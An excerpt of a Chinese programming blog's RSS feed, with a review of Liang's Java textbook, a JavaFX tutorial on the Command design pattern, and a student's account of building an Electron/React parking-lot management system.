&lt;p&gt;本来不想带货的，直到我把这本书大致看完了，也辅以了量不少的练习。。。不行了，真的是太香了&lt;/p&gt;
&lt;p&gt;希望能对初学编程的或者是即将学习 Java，或者想打扎实程序设计水平的同学有所帮助。&lt;/p&gt;
&lt;h2&gt;简介&lt;/h2&gt;
&lt;p&gt;这本书的作者是梁勇(Y. Daniel Liang)，没记错的话，是个美籍华人。&lt;/p&gt;
&lt;p&gt;书本的英文名叫做 Introduction to Java programming，中文名叫做《Java 语言程序设计》&lt;/p&gt;
&lt;p&gt;简介我抄一下狗东的&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;本书是 Java 语言的经典教材，中文版分为基础篇和进阶篇，主要介绍程序设计基础、面向对象程序设计、GUI 程序设计、数据结构和算法、高级 Java 程序设计等内容。本书通过示例讲解问题求解技巧，提供大量的程序清单，每章配有丰富的复习题和编程练习题，帮助读者掌握编程技术，并学会&lt;strong&gt;应用所学技术解决实际开发中遇到的问题&lt;/strong&gt;。基础篇主要介绍基本程序设计、语法结构、面向对象程序设计、继承和多态、异常处理和文本 I/O、抽象类和接口等内容。本书可作为高等院校计算机相关专业程序设计课程的教材，也可作为 Java 语言及编程爱好者的参考资料。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;个人感受&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;总之就是很神&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;截至 2021 年 8 月，该书已经出到了 12 版。但我阅读的是 11 版。&lt;/p&gt;
&lt;p&gt;虽然相对 11 版来说，新版内容有所更新（比如 Java8 升级到了 Java11），但是不影响书的整体风格&lt;/p&gt;
&lt;p&gt;作者是将我们当成一个百分百的新手来教的&lt;/p&gt;
&lt;p&gt;首先你是刚入门计算机类专业是吧？&lt;/p&gt;
&lt;p&gt;那么作者开头就开了一章，专门概述了一下计算机、程序和 Java，顺便还指导了一下 Java 的运行环境的安装，让你对计算机和编程语言有一个粗略的感受。&lt;/p&gt;
&lt;p&gt;接着给你讲了 Elementary Programming，即是编程中的基本部分。作者从一个简单的程序开始，给你讲述了标识符、变量、常量、基本类型、命令行输入输出之类的知识，最后以一个算钱的软件实例来结束这个 chapter&lt;/p&gt;
&lt;p&gt;再接着就是选择与循环这些关键知识了，同理，作者不会一口气给你讲述所有相关的知识，而是一直辅以&lt;strong&gt;经典有趣的实例&lt;/strong&gt;，并且混入了 String 之类的知识。&lt;/p&gt;
&lt;p&gt;接着告诉你 Java 的方法是什么？Java 的一维的数组和高维数组是什么有什么区别？&lt;strong&gt;能做点什么&lt;/strong&gt;？&lt;/p&gt;
&lt;p&gt;此时你已经有了一定量的程序设计的基础知识了。于是承接方法和数组和字符串和程序设计基础&lt;/p&gt;
&lt;p&gt;作者就开始了面向对象的讲述。从 OOP 是什么，Java 里头的 OO 相关的关键字和语法，作者都一一道来。&lt;/p&gt;
&lt;p&gt;好了，按照国际惯例——一提及 OO 就是封装继承多态。你以为这个讲完了就会马上讲继承和多态的&lt;/p&gt;
&lt;p&gt;但是作者专门插了一章，告诉你怎么使用 OO 进行思考的，接着开始手把手教你调 Java 的 API 进行实操。让你亲身感受一波再开始讲继承多态抽象类接口等概念&lt;/p&gt;
&lt;p&gt;OO 如此抽象的概念，是不是要实操一下才能更好地掌握它呢？&lt;/p&gt;
&lt;p&gt;没错，再插入了一章讲控制流，错误处理和文本 IO。由于你有 OO 的知识背景了，所以你很好地了解了 Java 的文本 IO 操作是怎么样的&lt;/p&gt;
&lt;p&gt;接着作者开始教你使用极其先进的 JavaFX 来做桌面 GUI 应用，&lt;s&gt;国内还在用 swing awt 的书籍出来挨打&lt;/s&gt;，让你深入了解 OO 能做些啥。前面的文本 IO 也派上了用场。&lt;/p&gt;
&lt;p&gt;讲完 GUI 程序开发之后，作者回顾了一下文本 IO，接着讲二进制 IO，环环相扣&lt;/p&gt;
&lt;p&gt;好了，准备踏入数据结构和基础算法部分的学习了。&lt;/p&gt;
&lt;p&gt;先给你看看啥是递归吧？递归和迭代有什么区别呢？&lt;/p&gt;
&lt;p&gt;接着就是泛型的学习了，学习的过程中我们只知道类型名字可以用参数来表示。那到底有什么实际用途呢？&lt;/p&gt;
&lt;p&gt;好，继续讲 List，Queue，Stack，Set，Map。你惊讶发现原来泛型可以用来构造一个通用的数据结构类啊。&lt;/p&gt;
&lt;p&gt;作者把这些数据结构的基本特性和 Java 自带的 API 的基本使用方法告诉你了。此时你对这些数据结构的特性有了基础的印象，也懂了怎么使用它们了。&lt;/p&gt;
&lt;p&gt;正当你好奇这些类的实现细节的时候，作者突然停止深入。&lt;/p&gt;
&lt;p&gt;转而开始探索如何设计一个高效算法，告诉了我们大 O 是啥，怎么算复杂度。教我们怎么把一个已知的算法用程序语言来表述。接着讲了分治和回溯（基于递归，环环相扣了属于是）&lt;/p&gt;
&lt;p&gt;然后 n 大排序，基本操作。告诉我们算法是怎么用到最常见的排序操作里头的。&lt;/p&gt;
&lt;p&gt;然后画风一转，转入你之前感过兴趣的数据结构的实现细节。手把手教你实现简单的列表链表数据结构。&lt;/p&gt;
&lt;p&gt;你会 OO 和链表还有基本算法了，作者就会接着告诉你啥是 BST 二叉树，细节实现要注意什么，怎么实现 AVL 树等数据结构。&lt;/p&gt;
&lt;p&gt;接着插入 Hash 让你换个方向学习一下，顺带也把 Set 和 Map 数据结构手把手带你实现了。数组 X 链表实现，&lt;s&gt;多甜的一对 CP&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;理论上你对前面的知识熟悉了。那么继续深入，讨论图，有向图和无向图，深搜和广搜两种遍历方法，配合 Nine tails Problem 来收尾。&lt;/p&gt;
&lt;p&gt;最后就是聚合流 Stream 了，告诉你如何用函数式编程思维来对数据结构进行处理。&lt;/p&gt;
&lt;p&gt;&lt;s&gt;然后你满意地合上了这本书&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;其实后面还有在线的高级篇：&lt;s&gt;网络编程、多线程、数据库增删改查操作、2-4 树 B+树红黑树、JUnit 测试、Servlets、国际化应有尽有&lt;/s&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;插播，附在线资源：&lt;a href=&quot;https://media.pearsoncmg.com/ph/esm/ecs_liang_ijp_12/cw/&quot;&gt;点此&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这本书可谓是环环相扣，处处有经过作者深思熟虑的铺垫&lt;/p&gt;
&lt;p&gt;顺着这本书一路学下去，你会发现你把 Java 学了，把面向对象给学了，把 GUI 程序设计给学了，也把数据结构和基础算法给学了。&lt;s&gt;数据库也会操作了，测试也会了，多线程和网络编程也入门了&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;此时的你，已经可以灵活使用 Java 进行一定的软件开发。&lt;/p&gt;
&lt;p&gt;不仅如此，你还能意识到&lt;strong&gt;成体系的知识&lt;/strong&gt;有多么重要；意识到一门课程与另一门课程是&lt;strong&gt;有紧密联系&lt;/strong&gt;的，是&lt;strong&gt;环环相扣&lt;/strong&gt;的；意识到&lt;strong&gt;理论和实操结合&lt;/strong&gt;的重要性。&lt;/p&gt;
&lt;p&gt;妙哉！&lt;/p&gt;
&lt;p&gt;不得不说，这本书还做了相当可观的&lt;strong&gt;知识屏蔽&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;也就是说，你不懂的知识，除非一定是要讲了才能继续学习下去，否则作者在就不会提前解释给你听，而是先让你留个直观印象，知识会留在后面合适的章节里头再讲。&lt;/p&gt;
&lt;p&gt;比如说前面我们只会简单地进行字符串的新建和简单表示，但是 API 之类的内容暂时用不到，便巧妙地放在了后面的 Object-oriented Thinking 那一章来进行讲解。而讲多态的时候，Dynamic Binding 这种东西，不直接讲就是不行的，作者就会直接先把知识喂给你吃了，接着再辅以大量的例子来让你巩固知识。&lt;/p&gt;
&lt;p&gt;这很巧妙！回想起当年看这本书，每次见到一些新名词就会去到处查的我，我现在只想说：跟着作者走下去不就好了吗？&lt;/p&gt;
&lt;p&gt;而知识屏蔽的反例就是&lt;/p&gt;
&lt;p&gt;“这是 xxx，这里用到了 xxx，会在后面第 xxx 页第 x 章提及”——&lt;s&gt;某高数书&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;老手没问题，但是初学者看到这种话，立马就翻过去看了，一般人会看得一知半解&lt;s&gt;然后开始懵逼更加混乱了&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;这本书的习题&lt;strong&gt;非常大非常接地气&lt;/strong&gt;，题目内容大多是偏向实际的，几乎每个题目都要上机写程序。并且有的题目难度还不低。菜鸟这样练习一圈下来，不会飞都会走了。&lt;/p&gt;
&lt;p&gt;有一说一，某些书还有巨量的概念向的选择填空问答题呢（&lt;/p&gt;
&lt;p&gt;这本书像&lt;strong&gt;讲故事&lt;/strong&gt;一样讲解知识，只要有点复杂的内容，在大多数情况下，作者都用故事来讲解它&lt;/p&gt;
&lt;p&gt;&lt;s&gt;也许这就是这本书这么厚的原因&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;如何购买&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;国内各大书店和网购平台都有得买，推荐买英文版&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我在简介那里顺便提到了英文原版，那是不是要安利大家英文版呢？&lt;/p&gt;
&lt;p&gt;先说&lt;strong&gt;结论&lt;/strong&gt;：只要是四级过了的水平，都推荐购买&lt;/p&gt;
&lt;p&gt;对于此书而言&lt;/p&gt;
&lt;p&gt;正因为作者是美籍华人，所以写的英文非常通俗详尽&lt;s&gt;偏中式英语的感觉&lt;/s&gt;，读起来就像在读高中英语一样，比原著小说不知简单了多少&lt;/p&gt;
&lt;p&gt;而对于不限于本书的其他技术书籍的翻译版&lt;/p&gt;
&lt;p&gt;即使译者在该领域非常牛逼，也很难做到百分百把原文准确翻译，会存在部分的信息损失与表达失真&lt;/p&gt;
&lt;p&gt;读原版的时候，信息流向：&lt;code&gt;作者 =&amp;gt; 读者&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;读译版的时候，信息流向：&lt;code&gt;作者 =&amp;gt; 译者 =&amp;gt; 读者&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;隔了层媒介，并且如果译者不能很好地对原文进行翻译的话&lt;/p&gt;
&lt;p&gt;本就抽象的文字&lt;/p&gt;
&lt;p&gt;经过译者操作一波，到了读者这里&lt;/p&gt;
&lt;p&gt;抽象层次又增加了.jpg&lt;/p&gt;
&lt;p&gt;不仅更抽象难懂，还会出现一些低级错误&lt;/p&gt;
&lt;p&gt;举个栗子，《Linux 系统编程》这本书里头有这么一句话&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你不习惯于 UNIX 文本编辑器——Emacs 和 vim（&lt;strong&gt;后者&lt;/strong&gt;成为最广泛使用的编辑器，而且评价很高），那么至少应该熟悉一个。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;原文如下&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you are not comfortable with a Unix text editor — &lt;strong&gt;Emacs and vim&lt;/strong&gt; being the most common and highly regarded—start playing with one.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;正确的是：&lt;strong&gt;两者&lt;/strong&gt;都是广泛使用且评价高的编辑器&lt;/p&gt;
&lt;p&gt;&lt;s&gt;Emacs 用户震怒&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;再吐槽一下其他的一些词语，举几个栗子 —— 鲁棒性、缺省、套接字、句柄（&lt;/p&gt;
&lt;p&gt;所以，如果英语底子还行的话，可以考虑英文影印版，现在机工也在售，大概比中文版贵了几十来块吧。&lt;/p&gt;
&lt;h2&gt;如何阅读&lt;/h2&gt;
&lt;p&gt;难道你们都不看书的&lt;strong&gt;前言&lt;/strong&gt;和&lt;strong&gt;导读&lt;/strong&gt;的吗？（仅限优秀教材）作者已经把他想说的话说在前了。。。&lt;/p&gt;
&lt;p&gt;我推荐吧，全新入门的萌新，可以直接从头读到尾，没有什么劝退感的这本书。&lt;/p&gt;
&lt;p&gt;部分会了的话，直接挑那不会的那部分相关的章节看。只不过一体感没有那么强罢了。&lt;/p&gt;
&lt;p&gt;你要是真问我，我会说这本书前言给的&lt;strong&gt;路线图&lt;/strong&gt;很可以。&lt;/p&gt;
&lt;h2&gt;最后&lt;/h2&gt;
&lt;p&gt;再次感谢这本书，感谢梁勇老师，您的书让我受益匪浅！&lt;/p&gt;
</content:encoded><category>笔记</category></item><item><title>Command设计模式</title><link>https://situ2001.com/blog/design-pattern/command-pattern/</link><guid isPermaLink="true">https://situ2001.com/blog/design-pattern/command-pattern/</guid><description>通过一个简单的文本编辑器来认识该Command设计模式</description><pubDate>Thu, 05 Aug 2021 00:54:19 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;一个简单的文本编辑器&lt;/h2&gt;
&lt;p&gt;这里有一个平凡到不能平凡的要求：用JavaFX做一个简单的文本编辑器，该编辑器具有复制、粘贴、剪贴与撤回功能。我们可以通过菜单选项、底部按钮和快捷键来调用这些功能。如下图所示。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;立即实现&lt;/h2&gt;
&lt;p&gt;首先去查JavaFX的文档，可以发现&lt;code&gt;TextArea&lt;/code&gt;类里有相关的方法可以操作复制粘贴和剪切，这些操作本质都是把文本给读取出来，比如使用&lt;code&gt;textArea.getText()&lt;/code&gt;来读取出当前的文本。&lt;/p&gt;
&lt;p&gt;那么这还不简单？直接给相对应的&lt;code&gt;Node&lt;/code&gt;注册相对应的事件不就行了？比如给一个拷贝按钮注册事件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;copyBtn.setOnMouseClicked(e -&amp;gt; {
    var selectedText = this.textArea.getSelectedText();
    if (!selectedText.isEmpty()) {
        this.clipboard = selectedText;
    }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同理，给剩下的按键组合和菜单Item也注册一个类似的函数即可完成。&lt;/p&gt;
&lt;h2&gt;优化一下&lt;/h2&gt;
&lt;p&gt;那么问题来了，我们这样做，似乎是把GUI层和逻辑层的代码给耦合起来了，并且修改逻辑的时候，就要去GUI代码那边翻找代码来一个一个地修改。并且还有改漏的可能。&lt;/p&gt;
&lt;p&gt;并且对于撤销功能，似乎也不是很方便：要实现简单的撤销操作的话，我们就要维护一个栈，把每个操作的行为记录下来并添加进该数据结构，撤销的时候把执行该操作时候的把当前指令操作后的上一个文本给恢复到&lt;code&gt;TextArea&lt;/code&gt;里头即可。可以看出：要想实现撤销操作的话，重点是要把每次操作的编辑器的历史文本给&lt;strong&gt;记录下来&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;那么，我们是不是可以把这些逻辑封装成一个类呢？既可以与GUI层代码分离开来，又可以方便实现撤销功能呢？&lt;/p&gt;
&lt;p&gt;由于这些每个逻辑都可以独立地看成一个Command，所以......很快啊，这里出现了一个抽象类&lt;code&gt;Command&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;代码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public abstract class Command {
    private String backup;
    protected Editor editor;

    public Command(Editor editor) {
        this.editor = editor;
    }

    protected void backup() {
        backup = editor.textArea.getText();
    }

    public void undo() {
        editor.textArea.setText(backup);
    }

    public abstract boolean execute();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着就出现了继承于Command的各个子类了，比如说&lt;code&gt;CopyCommand&lt;/code&gt;，要实现父类的&lt;code&gt;execute()&lt;/code&gt;方法。&lt;/p&gt;
&lt;p&gt;那怎么实现呢？上面提到，要实现复制粘贴和剪切，我们可以调用&lt;code&gt;TextArea&lt;/code&gt;对象的方法，那么我们要做的就是让这个Command类的实例拥有这个&lt;code&gt;TextArea&lt;/code&gt;对象的引用。很简单，只需要添加一个field &lt;code&gt;editor&lt;/code&gt;（如上图），顺便修改一个constructor即可。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;接着是剪切和粘贴的类，按葫芦画瓢就可以了。此时便有了这样的继承关系&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;如果我们要实现撤销的话，我们可以创建一个新类&lt;code&gt;CommandHistory&lt;/code&gt;来维护执行过的&lt;code&gt;Command&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class CommandHistory {
    Stack&amp;lt;Command&amp;gt; history = new Stack&amp;lt;&amp;gt;();

    private void push(Command c) {
        history.push(c);
    }

    private Command pop() {
        return history.pop();
    }

    private boolean isEmpty() {
        return history.isEmpty();
    }

    public void executeCommand(Command command) {
        if (command.execute()) {
            push(command);
        }
    }

    public void undo() {
        if (!isEmpty()) {
            var command = pop();
            if (command != null) {
                command.undo();
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后我们就可以&lt;code&gt;CommandHistory&lt;/code&gt; -&amp;gt; &lt;code&gt;Editor&lt;/code&gt;这样子来进行组合，即每一个&lt;code&gt;Editor&lt;/code&gt;里头都拥有一个&lt;code&gt;CommandHistory&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;每次Command执行，都会往&lt;code&gt;CommandHistory&lt;/code&gt;里头存下操作记录，撤销的时候读出历史记录然后恢复到&lt;code&gt;TextArea&lt;/code&gt;里头就行了&lt;/p&gt;
&lt;p&gt;最后，这个简易文本编辑器里头的类之间的大致关系是这样子的。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;最后我们执行Command的时候就可以通过&lt;code&gt;executor.executeCommand(new CopyCommand(this));&lt;/code&gt;来执行。&lt;/p&gt;
&lt;p&gt;相对应的注册事件是这样的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;copyBtn.setOnMouseClicked(e -&amp;gt; executor.executeCommand(new CopyCommand(this)));
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;其实经过上面的一番操作，我们就已经实现了Command设计模式，Command是一个行为型的设计模式。&lt;/p&gt;
&lt;h3&gt;Pros&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;可以将Command给抽象出来成为一个类&lt;/li&gt;
&lt;li&gt;可以回滚Command操作和状态，甚至把它们Serialize下来存于本地，在未来随时可以回滚状态和操作。通过队列，我们还可以将特定的Command给defer执行。甚至还可以把Command给组合起来且有序执行。&lt;/li&gt;
&lt;li&gt;可以把Command放入队列中，给Command排队等候其被执行（JS网络请求&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Cons&lt;/h3&gt;
&lt;p&gt;事物无绝对完美，优点出现了，那么必有缺点出现。其实最直接的就体现在类的分离，由于把Command给分离了开来，就自然而然多了一层。代码的复杂度也有型地加了一层。&lt;/p&gt;
</content:encoded><category>设计模式</category></item><item><title>记一次程序设计课程设计</title><link>https://situ2001.com/blog/notes/oo-course-design/</link><guid isPermaLink="true">https://situ2001.com/blog/notes/oo-course-design/</guid><description>流水的课设 手打的代码</description><pubDate>Thu, 29 Jul 2021 13:39:51 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;gzhu 大一下程序设计课程设计&lt;/p&gt;
&lt;h2&gt;写在前面&lt;/h2&gt;
&lt;p&gt;本来想考试周一过就开始总结大一下的期末课设，结果...草，甚至过了快一个月了，才开始动工。&lt;/p&gt;
&lt;p&gt;既然都做了，那就粗略地总结一下，顺便供学弟学妹们参考使用（狗头）&lt;/p&gt;
&lt;p&gt;以下记录为两者的掺杂——一个月前的实验报告和现在所写的部分段落。&lt;/p&gt;
&lt;p&gt;该课设的仓库：&lt;a href=&quot;https://github.com/situ2001/course-design-oo&quot;&gt;https://github.com/situ2001/course-design-oo&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;内容&lt;/h2&gt;
&lt;p&gt;此次课设要从下面五个中选一个来做，其实...都很大众的，分别是学生成绩管理系统，几何图形画板，学籍管理系统，高校人员信息管理系统和停车场管理（想了解的话，该课设文件已上传该课设 github 仓库下）&lt;/p&gt;
&lt;p&gt;并且...从要求中的某张图可以看到是个~~&lt;strong&gt;祖传了 13 年&lt;/strong&gt;~~的课设（隔壁网安专业就就没这种历史包裹&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;最后我选择了最后一个也就是停车场管理系统。题目如下所示。&lt;/p&gt;
&lt;p&gt;编写停车场收费管理系统，定义汽车类&lt;code&gt;Car&lt;/code&gt;和管理员类&lt;code&gt;CarManager&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Car&lt;/code&gt;类有&lt;code&gt;number&lt;/code&gt;(车牌号),&lt;code&gt;model&lt;/code&gt;(车型)、&lt;code&gt;enterTime&lt;/code&gt;(入场时间)、 &lt;code&gt;quitTime&lt;/code&gt;(出场时间)、&lt;code&gt;price&lt;/code&gt;(每小时收费价)、cost(费用)等属性。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;CarManager&lt;/code&gt;类有&lt;code&gt;id&lt;/code&gt;和&lt;code&gt;key&lt;/code&gt;等。&lt;/p&gt;
&lt;p&gt;实现以下收费功能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;可用车位统计与查询&lt;/li&gt;
&lt;li&gt;零车位提示&lt;/li&gt;
&lt;li&gt;停车时长统计&lt;/li&gt;
&lt;li&gt;按车型时长收费&lt;/li&gt;
&lt;li&gt;管理员收费累计&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;思路&lt;/h2&gt;
&lt;p&gt;首先这是一个停车场的收费管理系统，注意 Keywords：&lt;strong&gt;停车场&lt;/strong&gt;，&lt;strong&gt;收费&lt;/strong&gt;，&lt;strong&gt;管理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然后先看看设计，我必须要定义&lt;code&gt;Car&lt;/code&gt;和&lt;code&gt;CarManager&lt;/code&gt;，根据列出来的属性，我可以推测，实体&lt;code&gt;Car&lt;/code&gt;就是用来表达一辆车的状态和自身属性的，而&lt;code&gt;CarManager&lt;/code&gt;的两个属性，我可以推测出，这应该是用来登录的。&lt;/p&gt;
&lt;p&gt;接着再自己思考一下应该怎么做。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;先确定好这些类所对应的数据和行为&lt;/li&gt;
&lt;li&gt;想出该软件的大致功能与逻辑&lt;/li&gt;
&lt;li&gt;粗略画出界面的样子&lt;/li&gt;
&lt;li&gt;如何与用户交互&lt;/li&gt;
&lt;li&gt;着手开始实现&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;由于这个需要一个可视化的窗口程序，再加上最近学会了 JavaScript 想要做个项目练练手，正巧碰上了这次的课设。&lt;/p&gt;
&lt;h2&gt;纸上谈兵&lt;/h2&gt;
&lt;p&gt;首先这得是一个桌面 GUI 程序对吧。既然如此，那么&lt;/p&gt;
&lt;p&gt;这个程序的界面应该要给用户展示实时的车位信息，让用户进行车辆的停放与离场操作&lt;/p&gt;
&lt;p&gt;并且可以让管理员进行登录，管理页面可以看到停的每辆车的详细信息，以及总收入&lt;/p&gt;
&lt;p&gt;该程序的信息和设置都保存到本地文件中，并在启动应用时进行配置文件检查与信息读取与载入&lt;/p&gt;
&lt;h2&gt;开始实现&lt;/h2&gt;
&lt;p&gt;用到的大致的工具有：JavaScript + TypeScript + Electron + React + antd + Webpack + Babel + crypto-js + electron-store，而版本控制则用了 git（&lt;s&gt;最后在删 module 的时候不小心删了.git 文件夹&lt;/s&gt;）。&lt;/p&gt;
&lt;h3&gt;Electron 部分&lt;/h3&gt;
&lt;p&gt;我们可以利用 HTML+CSS+JavaScript 三件套来构建一个 Electron 应用。&lt;/p&gt;
&lt;p&gt;先去查查 electron 的文档。从 Electron 官网可以得知，应用分为两个进程：main 与 renderer，不同进程的 JS Runtime 环境略有不同，entry file 也不同。其中，main 为主进程，负责与系统 api 的通讯，renderer 主要为渲染进程，主要负责页面的加载。&lt;/p&gt;
&lt;p&gt;由于 main 进程主要负责与系统 api 的通讯。因此在该程序中，main 进程则负责配置文件的检查、配置文件读取与写入的 ipc 的建立、以及打开配置文件所在的文件夹的功能。而对于 renderer 部分来说，就是窗口的主体部分了。&lt;/p&gt;
&lt;h3&gt;Class 部分&lt;/h3&gt;
&lt;p&gt;照着题目所提的要求，构建两个类就行了。很简单的过程&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Controller 部分&lt;/h3&gt;
&lt;p&gt;该部分的模块， 存了实例化了的对象，以及操作这些对象的方法。&lt;/p&gt;
&lt;p&gt;比如，其中的停车记录模块的初始化流程大致如下图&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;除此之外还对登录状态进行了保存（&lt;code&gt;localStorage&lt;/code&gt;），管理员的密码都用了 MD5 加密。&lt;/p&gt;
&lt;p&gt;（对于这类模块，我的做法是把它们归到了 controllers 部分，我的想法是：这些模块可以对实体对象的数据进行修改，还可以导致 UI 部分的更新。如果有错请指出）&lt;/p&gt;
&lt;h3&gt;React 部分&lt;/h3&gt;
&lt;p&gt;UI 库就是用 React 了，由于该课程设计为面向对象程序设计，&lt;s&gt;所以就没有采用 React Hooks&lt;/s&gt;而是用了 class component&lt;/p&gt;
&lt;p&gt;大致流程是：在创建界面前，调用 controllers 的方法，得到当前数据，改变组件的&lt;code&gt;state&lt;/code&gt;， 更新状态并渲染出界面。&lt;/p&gt;
&lt;p&gt;React 组件之间的关系如下，继承+组合&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;React 的大致生命周期如下图所示&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;问题记录&lt;/h2&gt;
&lt;p&gt;这个方面嘛，当时做的不是很好，没有边做边用做记录，导致现在都忘记了一些当时让人感到酸爽的问题了。。。只记得一小撮问题了。&lt;/p&gt;
&lt;h3&gt;车牌检查&lt;/h3&gt;
&lt;p&gt;用户乱输入车牌诶，如果解决？答曰：使用正则表达式&lt;/p&gt;
&lt;p&gt;关于车牌的限制，我是去网上找了一些规则，然后写出了下面这个正则表达式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/^[A-Za-z]{1}[A-Za-z0-9]{4}[A-Za-z0-9挂学警港澳]{1}$/g;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解释如下，先匹配 string 的开始，然后第一字符是大小写字母，第 2 到第 5 个字符是数字或者是大小写字母，第六个就是数字字母外加挂学警港澳这几个汉子，最后匹配 string 的结束。&lt;/p&gt;
&lt;p&gt;对此，举个例子：&lt;code&gt;A14514&lt;/code&gt;是合法的而&lt;code&gt;DSSQ恶臭&lt;/code&gt;是不合法的。&lt;/p&gt;
&lt;h3&gt;保留登录状态&lt;/h3&gt;
&lt;p&gt;&lt;s&gt;由于管理页和登录页的 React 组件是根据是否登录来选择性渲染的&lt;/s&gt;，所以总不能不记录登录状态吧。&lt;/p&gt;
&lt;p&gt;思考了一下，这个课设又没有做 backend，&lt;s&gt;二是没有投入生产中去&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;所以的话，就使用了 localStorage 了，去搜索了一下，发现在浏览器端保存信息，可以用下面几个 Web Storage API ：&lt;code&gt;Window.localStorage&lt;/code&gt; 和 &lt;code&gt;Window.sessionStorage&lt;/code&gt; 。当然还可以用 Cookie 和 IndexedDB 来进行信息的保存。（&lt;strong&gt;日后开坑&lt;/strong&gt;x1）&lt;/p&gt;
&lt;h3&gt;打包&lt;/h3&gt;
&lt;p&gt;就记录一下我碰到一些的工具吧——Webpack 和 Babel&lt;/p&gt;
&lt;p&gt;由于这个课设我用了脚手架 electron-react-boilerplate 来进行快速搭建，所以直接碰到了&lt;s&gt;配置好了的&lt;/s&gt; Webpack 和 Babel，既然都写好了那我就看看能不能通过阅读配置文件和官方文档来学习一下吧（&lt;strong&gt;日后开坑&lt;/strong&gt;x2）&lt;/p&gt;
&lt;h3&gt;流程图&lt;/h3&gt;
&lt;p&gt;最后还遇到了一个有趣的工具——PlantUML，可以用来画流程图 UML 图等（上面的图都是用这个工具来画的），有意思的是，思维导图也被支持了（目前仍在测试中）&lt;/p&gt;
&lt;h2&gt;成品截图&lt;/h2&gt;
&lt;h3&gt;User-side&lt;/h3&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Admin-side&lt;/h3&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;其实本文通篇没有提到布局是因为当时并不是很会布局。。。&lt;/p&gt;
&lt;p&gt;最后得出的教训是：还是好好去学学 CSS 吧。。。&lt;s&gt;在做着静态博客并顺便学习了&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;写在后面&lt;/h2&gt;
&lt;p&gt;因为时间紧迫，代码里头的类型出现了一坨&lt;code&gt;any&lt;/code&gt; （&lt;s&gt;还好不全是&lt;/s&gt;），这是一种对自己对他人不负责的行为。并且有一些地方写出了硬编码（比如车型）。这不是一种良好的习惯。&lt;s&gt;不过在考试周做课设才是问题所在吧谁想这么赶&lt;/s&gt;&lt;/p&gt;
